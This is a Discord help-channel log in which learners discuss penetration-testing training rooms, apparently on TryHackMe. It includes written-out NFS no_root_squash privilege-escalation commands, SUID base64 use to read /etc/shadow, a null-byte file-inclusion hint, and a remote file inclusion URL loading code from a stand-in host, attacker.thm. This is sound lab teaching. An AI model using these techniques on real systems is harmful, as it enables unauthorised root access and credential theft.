Hi People! a pretty general question: On a Linux machine, i am logged in as a pretty low privileged User... I can barely write(create a file in a Directory) or look in a file(But i could traverse through almost all directory). But after i traversed in a lot of directories and tried, i finally found a directory, in which i could create a file.(it was /tmp). But is there any other method i can see if i can write in a curtain directory without trying it all the time? I could think about the approach with 'ls -l' but im not pretty sure

idle bison
warped sky
idle bison
#

That's one way

#

I'd make use of find personally, if the usual /tmp and /dev/shm aren't available

warped sky
#

So you would then "find" for diretories with curtain permission?

glossy condor
#

Yes, the find command can do that.

modest wave
#

Guys yesterday I completed the Linux priv esc room but I have a question

#

I did the capstone challenge, I wasn’t able to read /etc/shadow neither root user wasn’t able, but with suid set on base64 I did my tasks , can u explain why?

fallow siren
#

Hi I just finished the Vulnerability Capstone and managed to run both exploits. However, I'm wondering without the hints, which part of the exploit code implies that we need to setup a reverse shell listener? I wanted to have a better understanding of the python code and checked out the author's README on Github but it seems he didn't need a reverse shell (https://github.com/padsalatushal/CVE-2018-16763)

GitHub

Fuel CMS 1.4.1 - Remote Code Execution. Contribute to padsalatushal/CVE-2018-16763 development by creating an account on GitHub.

deft rain
modest wave
#

I did it

#

But root user cannot read etc/shadow

#

(Inside the challenge)

deft rain
modest wave
#

So if the root user cannot read the file

deft rain
#

are you root ??

modest wave
#

With suid set ..yes

#

I’m root

deft rain
#

You should be able to read the shadow file if you're root

modest wave
#

Yes bro that’s correct

#

But when I checked the permission file.. root user cannot read it

#

I β€˜ll send the screenshot ..

deft rain
#

I don't think so it is instructed to read the shadow file in the task. We just have to find flags and submit

deep knot
#

i'm doing the net sec challenge, and the nmap scan is taking a while to complete. is it a bad idea to do the password bruteforce at the same time? looking at the system monitor on the attackbox it seems there's plenty of cpu overhead, and network traffic is about 1Mb/s

modest wave
still swift
#

hey guys anyone here for help maybe ?

midnight maple
#

Please state your question

still swift
#

he talking about the source code but i dont understand what is the directory

limpid yew
#

A directory is a location that stores files

still swift
#

its in the source code i guess

#

but i dont understand

midnight maple
#

Im on mobile so I cant have a really good look but I think this is the part youre looking for

still swift
#

just dont understand about what directory he talks about ...

midnight maple
#

Which browser are you using

still swift
#

lemme send a photo of the source code maybe you could help me

#

@midnight maple

midnight maple
#

Yeah

still swift
#

so he says in this case the all stored in the same directory but what is the directory and how do i see it on the source code

midnight maple
#

Do you see those urls

#

In link rel

still swift
#

yep

midnight maple
#

Assets/ is a directory for instance

#

In that dir, there might be files like stylesheets

#

In script tags youll find paths to external js files

still swift
#

and if i want to see this directory i just need to add /assets ?

#

to the url

#

ohh i get it

#

yeah i found it !

midnight maple
#

Cool 😁

still swift
#

so in source code of a website there can be either 1 directory like in our case or more ?

midnight maple
#

However the dev set it up

still swift
#

for example i could have 3 directorys to search on ?

midnight maple
#

But assets is a common dir

still swift
#

or usually its 1

midnight maple
#

It will likely be one ( assets is kind of the norm ) but it doesnt have to be

#

It can be anything but assets, styles or scripts as dir names are common

still swift
midnight maple
#

Usually stylesheets, scripts, images

#

Icons

neat hazel
#

images you can out in images/ folder things that you upload can go in upload/

midnight maple
#

Fonts maybe

still swift
#

so its important when i do a pentest to check the source code carefully

#

sounds like its one of the most important things

#

or maybe im just in the beginning of the beginning lol

neat hazel
#

is good to check source code. might be some interesting stuff indeed.

still swift
#

ok ty guys

midnight maple
#

Have fun 😁

#

@still swift it might help to check out a random site on github

#

You can find my website publicly for instance on github. If you look at the directories there, you may get a better idea of what it looks like from the developers side

#

And then it will make more sense too I hope πŸ™‚ its not complicated but it helps to see it perhaps

still swift
#

i mean if its important i wanna dive deeper yeah

midnight maple
#

Here for instance you see that I used: styles, scripts and assets

#

So its just another way of structuring my files

still swift
#

so scripts is where the dev puts his script for interactive parts of his web

#

and style is the css files for how the web will look to the public side

#

the frontend

midnight maple
#

Can be. But some put styles and images and scripts in /assets together

still swift
#

am i right ;/

#

? *

#

oh ok

#

i think i got it now by 100% haha its simple

midnight maple
#

But yes thats about right. Css is the presentation ( the style ), scripts are the interactive parts and html is the markup

still swift
#

btw do you think i need to learn program language to become a pentester ?

#

because this is my goal to land a job and start a creer

midnight maple
#

Exactly πŸ™‚ this is a very simple site but when there are frameworks involved, the project structures get a bit more complex. But it usually comes down to the same thing

still swift
#

or it is not a must

midnight maple
midnight maple
#

Thats probably a good choice imo

still swift
#

once i finish all the paths for pentesting and red team

midnight maple
#

But dont take this advice from me, haha

still swift
#

hahaha all good πŸ™‚

#

thank you very much

midnight maple
#

No worries!

echo meteor
next lanceBOT
#

Gave +1 Rep to @echo meteor

rich meteor
#

hi

#

what can i do if burp intruder response is empty after i press send?

pastel willow
#

Hi, can someone give me a hand understanding last challenge (#3) in the File Inclusion module?

#

In the challenge section

#

I tried to bypass the filters using GET, POST and COOKIE methods but none of them seems to work... i'm just lost

#

I also used burpsuite to be more precise

shadow echo
pastel willow
#

that's what i modified

#

POST request and the PATH value

#

i completed the challenge using curl from terminal

#

but still i don't understand why it doesn't work by doing this on burp

shadow echo
# pastel willow that's what i modified

If you intercepted the request as GET, you can use right click to change it to POST, this will add a necessary header that you are missing in that screenshot

pastel willow
#

Oh

#

i got it now

shadow echo
pastel willow
#

i changed the method using the inspect element, and yes i got a new header "file" which worked now

next lanceBOT
#

Gave +1 Rep to @shadow echo

wintry egret
#

Someone here?

sage current
#

yuup yuups

wintry egret
sage current
#

oh okay glad you could figure it out yourself... other wise there are lots of people here to help you solve said problems

wintry egret
#

anyone want to explain this room for me?

#

pls

wintry egret
#

its late here, im gonna try tomorrow with clean head, ty

next lanceBOT
#

Gave +1 Rep to @steel nymph

pastel willow
next lanceBOT
#

Gave +1 Rep to @pastel willow

amber scarab
#

Hi, I know this is quite an old message, but I've run into the exact same problem. If you happen to remember an explanation or if anyone else can explain why the query doesn't work, I'd really appreciate the help.

EDIT: nevermind, figured it out with a bit more digging through the server! But I will have to dig more online later to figure out why ||"like 'sql__four'"|| caused the sleep delay even though the db name ||has something else in place of the first _|| ? Leaving the edited comment instead of deleting the question in case someone else gets stuck and searches the same DB name looking for help. Happy New Year, y'all!

amber scarab
flint zenith
#

Hi
I have one doubt
Let say I am using a module in msfconsole which has an option PASSWORD.

Can we pass a path to rockyou.txt to this like we do
set PASSWORD 'path to rockyou' ?

flint zenith
#

cool thanks for confirming

still swift
#

hey guys

#

im at subdomain enumeration room task 6 -virtual hosts

#

when i put the 2nd command using ffuf like they show there its not working but when i put the 1st one its working

#

can someone help ?

still swift
#

what is the size that i need to provide in the command that is what i didnt understand

warm blade
#

Hello, i was completing the "Linux Privilege Escalation" room and in the task 7 I had to exploit SUID files to escalate privileges, but i couldn't find any SUID files that can get me root access. The /usr/bin/base64 had the SUID bit set so i used it to read contents of /etc/shadow and obtain password hashes and crack them the flag was located in a directory which the user user2 could access using the password i cracked i obtained the flag, but my main question is that did i skip anything or did i obtained the flag the intended way? i took a look at writeups, but they too used similar techniques.

little mortar
#

tried every RE exploit for the Vulnerability Capstone -> Exploit Machine final question keep getting this weird "non-numeric value" errors on all the exploits...

verbal snow
#

In Lab #2, what is the directory specified in the include function?
Warning: include(includes/test) [function.include]: failed to open stream: No such file or directory in /var/www/html/lab2.php on line 26

Warning: include() [function.include]: Failed opening 'includes/test' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/lab2.php on line 26

#

File inclusion room task 4

#

ok nvm got the ans

deft rain
vagrant quarry
midnight drift
#

Hi, I have a problem with the task Linux PrivEsc: NFS, after compiling the exploit I'm getting this error:
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
Is this normal? Should I try with another version of gcc?

merry lance
#

I finished Jr Pentester a few days ago what are some good follow on CTF's and paths?

little mortar
next lanceBOT
#

Gave +1 Rep to @deft rain

agile ingot
#

Hi, I’m having a problem in the Linux Escalation Room for Kernal. My wget’s are timing out. I can’t reach out for anything. I gave up for the night and will try again tomorrow. Not really a question but advice welcome.

deft rain
agile ingot
deft rain
agile ingot
#

Will do. Thanks. I’m hoping this evening I’ll get back to it.

verbal snow
#

Which function is causing the directory traversal in Lab #4?

#

file_get_contents

#

really asking a question that have no ans available.. forced to waste time searching for an ans

shadow echo
verbal snow
#

This ans was repeated

#

how do i post a screenshot

shadow echo
#

!docs verify

tiny bluffBOT
verbal snow
shadow echo
# verbal snow

Okay, so the first one was found in the task text, the 2nd one was found in the warning by e.g. trying to include a file that doesn't exist

agile ingot
# deft rain Ping me if you face the same issue again

This morning I tried again, I have screenshots for the attempt it was better than last night as wget actually appeared to be working. Then it got a permissions denied errorJust set everything up again and now I can't type in the room - tried restarting the room as well, no dice still wont except keyboard input and its a terminal style room. I'll try again tomorrow.
Last night the wget would just timeout. I also tried going directly to the source where the exploit can be downloaded from but that times out as well. Thinking its just the way the room is setup to allow items from the attackbox but not open internet? Thanks for your input.

subtle ivy
#

I had yesterday the same problem and could not wget to the raw file in the exploit database nor http.server. Have not found a solution

deft rain
deft rain
harsh epoch
#

Hi everyone, i have an issue with the last task in the room "Cross-Site Scripting". It's recommanded to use the attack box to resolve the last question but i have an error with firefox (certificate issue). I can't access to http://ip.p.thmlabs.com/

#

I can't pass away the warning since I have a gateway time out

deft rain
harsh epoch
#

ok, i send a screenshoot

deft rain
#

!docs verify

tiny bluffBOT
harsh epoch
#

!notifyme

tiny bluffBOT
#

Ok @harsh epoch, you will now be notified of future announcements.

harsh epoch
shadow echo
# harsh epoch

That's not how that url should be, it should have dashes - instead of dots in the "IP"

#

But the room should give you the right URL anyways if there even is such a way of accessing the target machine

harsh epoch
#

With my own VM, i can access to the site web by not retreive the cookies'value to answer the question

shadow echo
harsh epoch
#

My fault, it's work with dashes

#

i use dots, my mistake

shadow echo
harsh epoch
#

Now i can access website on the attack box using dashes, so i will can answer the question

shadow echo
#

But you'll see if it works or not, just trying to give you a heads up πŸ™‚

harsh epoch
next lanceBOT
#

Gave +1 Rep to @shadow echo

pastel willow
#

Hey! i have some questions in the challenge from the networking security module

#

the last section (the challenge) says that you have to do a scan without being detected from the IDS, but what does it mean? that we must archive 0%?

#

i did a scan with only 4% of detection but i haven't got a flag. maybe because i didn't scan all ports?

sage current
#

also had to do the scan from the attackbox and not shadows own machine or it was stuck on 0%

pastel willow
#

that could be the reason, i'm using my own VM

#

did u scan all ports? for what u recall

#

the detection works fine: if i don't use fragmentation the % goes crazy

sage current
#

think shadow tried both all ports and only the top 1000 most common ones

pastel willow
#

ok thanks for feedback, i'm giving a try on the attackbox

#

I got it, looks like it was my VM. thank you!

agile ingot
# deft rain If you can check if you have that file in the same directory where you have star...

Thanks, @deft rain ! I got it to work, I went back to the tmp folder were I was originally and this time my wget worked! Not the first time, but it did. Thanks for offering your help the other evening and reminding me about being in the correct folder when I started my simple server via Python. It is nice to know when I'm on the correct path, and when I'm making mistakes so I learn from them.

next lanceBOT
#

Gave +1 Rep to @deft rain

verbal snow
#

where is the flag? i don't get it

#

file inclusion challenge #2

verbal snow
#

Can't solve flag3 too

#

already tried to use post

rustic totem
wintry egret
wintry egret
#

you need to put the path of flag2 on value

#

this is gonna fail, because .php you need to ignore this with %00 at the end

#

its the best thing i can do to help you without giving you the answer xD

#

its a hard challenge, dont worry

lunar anvil
#

Stuck in "What the Shell" Task 13 questions. Opened linux machine and logged on, set up a listener , have error message:
-bash: syntax error near unexpected token `('

What am I doing wrong? Thanks for any help.

lunar anvil
#

@steel nymph I thought I could use it; I was having trouble figuring out which shell I should try to upload. Where should I have looked? (Thanks for pointing this out.)

#

I'm an extreme noob, fwiw

limpid lily
# lunar anvil <@270909031298760705> I thought I could use it; I was having trouble figuring ou...

I'm not a pro and my english is not the best but I'll try to answer... php is the language of web servers, thanks to it you can interact with the server like login or comment posts among other things. But in this case you are connecting to a system (not a web) through ssh protocol. When you are already connected to it, you gotta think that you are in another vm (in this case linux, but could be windows or anything else).

next lanceBOT
#

Gave +1 Rep to @lunar anvil

limpid lily
#

Then the shell can't be a php, gotta be a .sh (bash script)

#

Google it and you'll see that is even easier than a webshell

lunar anvil
#

@limpid lily Your English is great! Thank you so much, I'll google it.

next lanceBOT
#

Gave +1 Rep to @limpid lily

agile ingot
#

I'm on task 11 of Privilege Escalation and getting a problem when I try to run my NFS executible in the room. This has happened with both creating the executable on my personal kali and on the THM kali. Apparently glibc 2.31 (the version running on the room) cannot run executables combiled with glibc 2.35 which is the version on the THM Kali and my box is running 2.36-4. Does anyone have an idea of a workaround for this?

sage current
agile ingot
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

that is specific to bash

sage current
# agile ingot what is -p supposed to do? because I just tried that and received the same error...
              -p      Turn  on  privileged  mode.  In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHELLOPTS, BASHOPTS, CDPATH,
                      and GLOBIGNORE variables, if they appear in the environment, are ignored.  If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p
                      option  is  not  supplied,  these actions are taken and the effective user id is set to the real user id.  If the -p option is supplied at startup, the effective user id is not reset.
                      Turning this option off causes the effective user and group ids to be set to the real user and group ids.
#

is what it does for bash

#

it will spawn a bash instance with euid of root which you can see with the id command

#

meaning you can do root stuffs

agile ingot
#

thanks for the explanation, tried it.

agile ingot
#

gcc is not installed, and ./bash -p does not escalate

shadow echo
#

If ./bash -p is not giving you a root shell you might have done something wrong along the way, so probably your bash binary is not having SUID set and/or owned by root

agile ingot
# shadow echo If ./bash -p is not giving you a root shell you might have done something wrong ...

I've rerun everything by what the room says and by various researches over 6 times today along, it is task 11 of the linux privilege escalation. i am setting this aside now and will try again another day. if you look above, i'm getting a compiler compatibility error. using ./bash -p was shadow's suggestion. unfortunately for me, it did not help with my compatibility problem. my binary is compiled in 2.35 and the room runs on 2.31. GCC is not installed according to the errors I am receiving so i cannot compile it on the host machine.

shadow echo
shadow echo
sage current
#

yuup exactly that

agile ingot
#

Thank you both for your help!

lunar anvil
#

EZ question I hope: What is my tun0 IP ? Is it the IP of the target machine?

deft rain
agile ingot
#

Thank you @shadow echo and @sage current -static fixed the problem and allowed the code to compile properly. Shadow, I still don't know what I did wrong earlier that your suggestion did not give access sooner. I appreciate what you said though and I've made note of it. I was not frustrated at your suggestion, just frustrated that I had tried it and i couldn't get it to work.

next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
#
  • @sage current
next lanceBOT
#

Gave +1 Rep to @sage current

dapper night
#

Hello,How days should i take to finish this path?

#

how many**

shadow echo
sage current
agile ingot
next lanceBOT
#

Gave +1 Rep to @sage current

pastel willow
#

What do you guys advice to do after jr.penetration path? i'm close to finish it,but i feel like i need some practice, are there some machines that could be rooted by having the path's knowledge? Also what could be a subsequence of jr.pen path?

sage current
# pastel willow What do you guys advice to do after jr.penetration path? i'm close to finish it,...

#pre-security-legacy-pathΒ 
#974406074444685322Β 
#junior-pentester-pathΒ 
#878393611929129000 (optional)
#pentest-plus-path (optional)
#web-fundamentals-pathΒ 
#soc-level-1-pathΒ 
#offensive-pentesting-pathΒ 
#red-teaming-pathΒ 
#791764435991658556

is shadows recommended order to do the paths in... the ones marked optional has little new content after completing the previous paths but are still worth doing...

if you are looking for ctfs to do after completing this path searching for easy ctfs using the learn hacktivities page is easy enough and gives you quite a long list of challenges to do if you feel like it

pastel willow
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

stark slate
#

Having a bit of an issue with a tool that it asked me to download SecList.

#

It seems that it's not finding the file and Ive even resorted to copy/paste. Here's my screen.

#

Well I would include a picture but guess I can't. It says no such file or directory even though I can cd into that area and still fails. Ive tried installing SecList twice.

#

Ok I found it. There's a typo on THM where it says SecList. It's not. It's seclist bc capitalization is important.

deft rain
#

!docs verify

tiny bluffBOT
elfin plover
#

What do they mean by/what is a connection?

shadow echo
elfin plover
sage current
#

udp shells anyone???

shadow echo
sage current
pastel willow
sage current
#

hiding as dns by using your shell over port 53

#

though obviously that is not fool proof

pastel willow
#

right

#

that's so smart lol

pastel willow
#

hey i've completed the cronjobs privesc but i have some doubts about it which the guide doesn't talk about. I've made all the steps told, but in the end i couldn't get the reverse shell, it felt like the cron job wasn't "working". I found eventually that i needed to change permission of the file in order to make it work. So if we find a cron job that could be used to gain root we need to make the script executable?

sage current
pastel willow
#

ye because it makes sense but i got a bit surprised the task didn't even talk about it

sage current
#

even root can't run files which don't have the executable bit set

#

and yeah probably weird that it is not mentioned in the text

pastel willow
#

the thing that fooled me was that if the cron exist it means it's been executing from a while, atleast that's what i thought would be the logic behind it, maybe it's been designed this way intentionally?

#

what i mean is having a cronjob which never executes it's pretty useless lol

#

i'm probably too tired rn, ty for help anyway πŸ‘

sage current
#

well common misconfiguration

#

where you forget to remove the script after making it not run anymore

pastel willow
#

yeah i just think too superficially some times, need to check everything

sage current
#

also missing the executable bit on cron priv esc is super common so don't beat yourself because of it

humble lantern
#

hi everyone

#

im stuck at Task 11 from Privilege Escalation

#

the nfs one

#

i do all what it requires and i have this

#

can someone help me?

shadow echo
# humble lantern

Transfer the target machines own bash binary to your attacking machine and redo the steps, this will make sure the binary is compatible with the target machine

latent citrus
humble lantern
#

thanks

sage current
#

the living of the land approach is harder to detect and also will work in nearly every possible instance there is

latent citrus
sage current
#

even though you are stubbing your learning opertunity

latent citrus
#

by that logic every PE learning material & technique would require hours on each video per technique, which for sure wouldn't be beginner friendly

sage current
latent citrus
sage current
#

on target machine:

cp /bin/bash /path/to/nfs/share/folder

on attack machine:

sudo chown root:root /path/to/mounted/nfs/share/bash
sudo chmod +sx /path/to/mounted/nfs/share/bash

on target machine:

/path/to/nfs/share/folder/bash -p
id

tada it now shows that you got an effective user id of root
is the entire list of things you need to do to use the bash approach and it will work on every target machine that has bash and nfs with no_root_squash

#

and is also exactly how the nfs vuln was shown of in an earlier room which shadow also finds as the better approach

#

as you rarely should need to compile code for hacking

pastel willow
sage current
pastel willow
#

there were 3 nfs shares with the 'no_root_squash' option

sage current
#

yeah you want the one called backup that is located in the /tmp folder as pretty much everyone can write there

#

this is if shadow recalls correctly

pastel willow
#

yes exactly, i was using the one in the ubuntu/sharedfolder

#

then there is the /tmp one

#

but now i need to unmount it right? cause the tmp share doesn't work even if i remounted it again

sage current
#

well it could also be just empty

pastel willow
#

i did umount on the previous folder because it didn't seem to work but i fixed it now

#

i changed the permission with the SUID set but when i execute bash -p nothing happens 😦

#

i mean, i don't get root, i'm missing something

#

-rwsrwsrwx 1 root root 1183448 Jan 11 19:54 bash

#

that's the result on the target machine

sage current
#

you need to specify that you are running the bash from the nfs share dir of course

pastel willow
#

thank you πŸ‘ i used ./bash but i forgot the -p flag

#

what does it do anyway? (the -p flag)

#

nvm chatgpt got it for me ahah thanks for all the help!

sage current
#
       If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from
       the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id.  If the -p option is
       supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

astral jolt
#

New to this discord and currently on this path, just wanted to check in and say hello πŸ‘‹πŸΌ

limpid bone
#

Quick question - Im in the room -File Inclusion - task6 (Remote File Inclusion - RFI) -RFI Steps . Am i meant to be able to access :- http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt in the task? It asks me to try out an RFI attack but not sure what to do. Please see image. Any help would be massively appreciated. πŸ™

shadow echo
limpid bone
shadow echo
limpid bone
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
limpid bone
shadow echo
limpid bone
shadow echo
limpid bone
shadow echo
limpid bone
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
limpid bone
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
#

You are welcome

limpid bone
# shadow echo It's in linux fundamentals 3

Ok I will look, I think my path of learning took me to fundementals 1 & 2 , not 3. But then again I've done quite a bit lately and could have easily have forgotten I've done it. Cheers.

limpid bone
sage current
#

and second person that missed the port number inside 2 days... for this exact same rfi lesson

limpid bone
#

Thanks, Sorry for this, I've put in the port number(been back and looked at my fundamentals), The server is saying the file does not exist

next lanceBOT
#

Gave +1 Rep to @steel nymph

sage current
limpid bone
#

Well, its time for a break...I've sorted it, Thank you so much for your help, all is clear now. Just going to sit in the corner with my big D hat on. πŸ˜†

next lanceBOT
#

Gave +1 Rep to @steel nymph

limpid bone
sage current
manic lintel
#

Hey guys, I kinda got stuck at Burp Suite; Intruder task 12, since I couldnt find my sessions tab on burp, maybe you guys want to change that in text from Switch over to the "Project Options" tab, then the "Sessions" sub-tab.
To settings > sessions

modern niche
#

Hi guys stuck up with Introduction to web hacking (walking an application ) room, can anyone help me to view page source of Acme IT Support website??

wintry egret
modern niche
sage current
#

ooh someone refering to shadows list thanks

wintry egret
#

Start the virtual machine on this task, wait 2 minutes, and visit the following URL: https://LAB_WEB_URL.p.thmlabs.com (this URL will update 2 minutes from when you start the machine)

wintry egret
#

@modern niche ?

astral jolt
#

Anyone tried to reverse shell on the playground? Can’t seem to understand why it’s not working with php-reverse-shell.php

sage current
#

hmm good question

#

shadow got a webshell on that they they upgraded to a reverse shell but dunno if the php-reverse-shell.php by pentest monkey works for it or why it would not work

astral jolt